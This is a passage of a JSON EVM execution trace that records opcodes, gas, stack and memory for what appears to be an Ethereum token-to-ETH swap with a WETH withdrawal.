b3bf7268a95bf5081b65","0xa0","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1806,"op":"DUP1","gas":10451,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0xa0","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1807,"op":"SWAP2","gas":10448,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0xa0","0x80","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1808,"op":"SUB","gas":10445,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0x80","0x80","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1809,"op":"SWAP1","gas":10442,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0x80","0x20"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1810,"op":"LOG2","gas":10439,"gasCost":1381,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0x20","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1811,"op":"POP","gas":9058,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1812,"op":"POP","gas":9056,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1813,"op":"JUMP","gas":9054,"gasCost":8,"depth":2,"stack":["0x2e1a7d4d","0xcd"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":205,"op":"JUMPDEST","gas":9046,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":206,"op":"STOP","gas":9045,"gasCost":0,"depth":2,"stack":["0x2e1a7d4d"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":3262,"op":"ISZERO","gas":9336,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3263,"op":"DUP1","gas":9333,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3264,"op":"ISZERO","gas":9330,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3265,"op":"PUSH2","gas":9327,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3268,"op":"JUMPI","gas":9324,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x1","0xcce"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3278,"op":"JUMPDEST","gas":9314,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3279,"op":"POP","gas":9313,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3280,"op":"POP","gas":9311,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3281,"op":"POP","gas":9309,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3282,"op":"POP","gas":9307,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3283,"op":"PUSH2","gas":9305,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c